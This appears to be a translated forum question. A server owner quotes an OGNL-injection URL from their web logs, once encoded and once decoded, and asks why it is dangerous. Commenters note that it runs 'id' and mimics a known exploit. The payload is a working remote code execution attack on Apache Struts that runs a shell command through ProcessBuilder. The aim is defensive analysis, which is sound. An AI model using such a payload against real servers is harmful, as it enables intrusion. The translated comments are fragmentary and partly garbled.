在我的 Web 服务器日志中,我注意到有一个黑客试图进行以下操作:
哪个URL可以解码为以下内容:
https://[domain name]/index.action?action:${%23a%3d(new%20java.lang.processbuilder(new%20java.lang.string[]{'sh','-c','id'})).start(),%23b%3d%23a.getinputstream(),%23c%3dnew%20java.io.inputstreamreader(%23b),%23d%3dnew%20java.io.bufferedreader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.httpservletresponse%27),%23matt.getwriter().println(%23e),%23matt.getwriter().flush(),%23matt.getwriter().close()}
哪个URL可以解码为以下内容:
https://[domain name]/index.action?action:${#a=(new java.lang.processbuilder(new java.lang.string[]{'sh','-c','id'})).start(),#b=#a.getinputstream(),#c=new java.io.inputstreamreader(#b),#d=new java.io.bufferedreader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.httpservletresponse'),#matt.getwriter().println(#e),#matt.getwriter().flush(),#matt.getwriter().close()}
我的服务器不使用Java,但是我正在尝试理解这个黑客在做什么以及为什么这可能是一个漏洞。毕竟,我不仅是开发人员,还需要了解如何保护服务器,包括非由我设置的服务器。
代码似乎启动了一个新进程,然后尝试从输入流读取数据。我假设这是当前Web会话的输入流。
由于此攻击也针对/login.action和各种其他URL以及不同的Java代码进行尝试,因此我认为它具有潜在危险性。但我无法解释为什么这是危险的。
特定域名目前正在受到攻击,黑客试图查看它是否正在运行WordPress、Magenta或其他已知系统,并尝试多种不同的攻击。
但重要的是:该域名目前正在开发中,所有者仍需决定使用哪些开发工具。选择在Java和ASP.NET之间,如果他选择选择Java,那么这个攻击是否危险?
id
(打印已知本地操作系统用户及其用户ID),并将结果写入一个Web地址,但该地址没有写在那里。必须有其他东西定义#context
(或%23context
)。 - TomString
这样的内容都是小写的。看起来他们正在尝试复制某些已知漏洞,利用一些糟糕编写的代码,该代码接受格式不正确的 Java 代码并毫无询问地运行它。 - Federico klez Culloca